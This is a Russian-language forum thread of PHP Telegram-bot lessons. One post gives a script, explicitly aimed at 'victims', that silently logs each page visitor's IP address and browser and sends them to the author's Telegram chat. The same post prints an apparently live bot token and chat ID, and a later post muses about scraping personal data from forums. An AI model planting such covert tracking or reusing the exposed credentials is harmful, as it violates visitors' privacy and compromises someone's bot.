Актуально Уроки по разработке Telegram ботов

Тема в разделе "Программирование", создана пользователем Billionair_e, 24 дек 2017.

  1. Billionair_e

    Billionair_e

    Сообщения:
    80
    Баллы:
    6
    Очень прикольный проект придумал, просто супер!

    Моя идея возможно будет не очень полезна для некоторых, но сделаю предложение первым:
    Бот который будет кидать оповещение если выйдет новая тема на (реклама). Приходить будет название темы и ссылка на неё.
  2. RT

    RT VIP Внесен депозит 1000$

    Сообщения:
    718
    Баллы:
    16
    Это просто. Можно с помощью Father`a добавить rss ленту и всё.
  3. BotHub

    BotHub

    Сообщения:
    131
    Баллы:
    16
    Пока вы придумываете бота. Напишу небольшой урок, по созданию логгера. Скрипта который будет отправлять данные из любого места или сервера, к вам в Telegram.

    Подойдет любой хостинг, где присутствует поддержка PHP. Реализовывать будем максимально просто.

    Первое, что нам понадобится это TOKEN. Telegram TOKEN это некий ключ доступа, по которому Telegram сервер распознает команду и связывает ее именно с тем ботом, к которому он и относится. Ключ довольно сложный, и методом подбора ломать такой ключ придется долго, что бы подключится хоть к какому то боту.

    Зарегистрировать бота и получить TOKEN можно у бота @BotFather.
    Получили к примеру TOKEN 423885960:AAH1vTl3CkRK_fTAnoCK4E3kdih6kA32kGc

    Для того что бы отправить сообщение нужно использовать метод sendMessage. Он имеет следующие обязательные значения, chat_id и text.
    chat_id - это индивидуальный идентификатор пользователя.
    text - это текст сообщения.
    Существует еще множество параметров для данного метода, но в рамках данного урока мы их не будем рассматривать. Что бы получить chat_id отправьте любое сообщение вашему боту, он вам конечно не ответит, но вам сейчас это и не нужно.
    Далее, берем данный запрос https://api.telegram.org/botTOKEN/getUpdates
    Вместо слова TOKEN подставляем ранее полученный TOKEN. И получаем такой вот адрес https://api.telegram.org/bot423885960:AAH1vTl3CkRK_fTAnoCK4E3kdih6kA32kGc/getUpdates
    Отлично, теперь переходим по нему в браузере. В ответ получаем некие данные, это и есть JSON массив, ответ сервера. Нам нужно найти там значение "chat":{"id":193092653
    193092653 - chat_id. Теперь мы знаем свой ID.

    Теперь в качестве примера, будем отсылать себе в Telegram IP адрес жертвы. Используем функции.
    1. Получаем IP - $_SERVER["REMOTE_ADDR"]
    2. Получаем Браузер - $_SERVER['HTTP_USER_AGENT']
    3. Получаем Время - date("H:i:s")
    4. Получаем Дату - date("d.m.Y")

    Собираем все в скрипт
    PHP:
    <?php

    $token
    = '423885960:AAH1vTl3CkRK_fTAnoCK4E3kdih6kA32kGc'; // TOKEN
    $id = 193092653; // Chat ID
    $ip = $_SERVER["REMOTE_ADDR"]; // IP Жертвы
    $agent = $_SERVER['HTTP_USER_AGENT']; // User Agent
    $time = date("H:i:s"); // Время
    $date = date("d.m.Y"); // Дата

    $text = "Получен новый лог\n\nIP: $ip\nВремя: $time\nДата: $date\nБраузер: $agent"; // Текст сообщения
    $argument = http_build_query(array('chat_id' => $id, 'text' => $text)); // Нормализуем строку
    $query = "https://api.telegram.org/bot$token/sendMessage?$argument"; // Запрос к API

    file_get_contents($query); // Вызов запроса к API

    ?>

    Логгер готов. Устанавливаем его на нужном файле и получаем Лог, каждый раз когда кто то заходит на страницу.
    Получаем сообщение такого вида (Тестировал с локальной машины)
    Скриншот сообщения
    [​IMG]
    Спасибо за внимание.
  4. BotHub

    BotHub

    Сообщения:
    131
    Баллы:
    16
    Было бы неплохо получать разные данные с сайта, однако, у форума нет своего API для нормального получения данных, можно по пробовать создать имитацию захода на сайт, с вашим логином и паролем, и тогда получать некоторые данные с форума, но подобных реализаций я не встречал, подобные форумы имеют защиту, и многие их устанавливают через защиту от ддоса, поэтому парсить личные данные из форума, не так то просто.
  5. RT

    RT VIP Внесен депозит 1000$

    Сообщения:
    718
    Баллы:
    16
    Есть апи. Можем что ни будь придумать =)
  6. BotHub

    BotHub

    Сообщения:
    131
    Баллы:
    16
    Даже так? Хорошо, напишите мне в ЛС насчет этого. Эти API вообще можно будет давать в личное пользование для пользователей? Я не совсем хорошо знаком с движком данного форума.
  7. BotHub

    BotHub

    Сообщения:
    131
    Баллы:
    16
    Этим постом хочу начать серию небольших уроков по разработке Telegram ботов на PHP. Почему именно PHP, он прост в изучении, и большинство провайдеров предоставляют услуги с поддержкой именно PHP. Однако, забегая вперед, хочу сказать, что для работы полноценного сервиса, по средством бота, нужно иметь свой VPS сервер.

    Управление ботом проходит по средством API. В свою очередь, ответы Telegram сервера приходят в формате JSON массива данных. Взаимодействие с ботом (API) проходит с помощью 2 методов long polling и WebHook. В первом случае, для взаимодействия с ботов, нужно самому отправлять запрос на сервер Telegram. Во втором случае, сам сервер Telegram отправляет ответ вашему серверу (скрипту). Второй способ, удобнее и экономит ресурсы вашего сервера, потому что ему не нужно обрабатывать данные, пока их не отправит Telegram сервер. А для первого способа, для его автоматизации придется использовать, планировщик заданий, к примеру Cron.

    Telegram бот это оболочка, простой интерфейс взаимодействия, он не несет в себе весь функционал вашего сервиса или вашей задачи. Бот всего лишь помогает, перенести интерфейс управления, вашей задачей, в Telegram клиент.

    Что бы не рассказывать уже всем известные вещи, и действительно написать что то полезное и нужное, предлагаю вам написать идеи для бота, действительно нужного и полезного. А я в свою очередь, в рамках данной темы, постараюсь описать его работу и напишу урок по его реализации. Так наше обучение, будет более продуктивным.

    Список уроков (будет пополняться):
    • Урок №1 -
    • Урок №2 -
  8. BotHub

    BotHub

    Сообщения:
    131
    Баллы:
    16
    Ссылка скрыта от просмотра
  9. Unnamed

    Unnamed

    Сообщения:
    542
    Баллы:
    18
    Отличные курсы!)
    С нетерпением жду продолжения!
    Очень интересно читать)
  10. BotHub

    BotHub

    Сообщения:
    131
    Баллы:
    16
    Небольшой анонс. Новый урок будет по разработке бота администратора для чат группы.
    Функционал:
    • Приветствие.
    • Справка
    • Удаление сообщений с нарушениями.
    • Небольшой диалог с ботом

    Еще предложите варианты для функционала.

    p.s Кик и Блокировку не делаю специально, нельзя боту позволять принимать такие решения. Но если интересно, могу включить.
  11. BotHub

    BotHub

    Сообщения:
    131
    Баллы:
    16
    Ссылка скрыта от просмотра
  12. ReQ

    ReQ

    Сообщения:
    97
    Баллы:
    6
    То что искал) жду с нетерпением, и уверен что не я один, продолжения.
  13. unknowactor

    unknowactor

    Сообщения:
    114
    Баллы:
    16
    Хоелось бы посмотреть на начинку бота-продавца. Самого примитивного естественно. Очень годные уроки у тебя)

Поделиться этой страницей

Top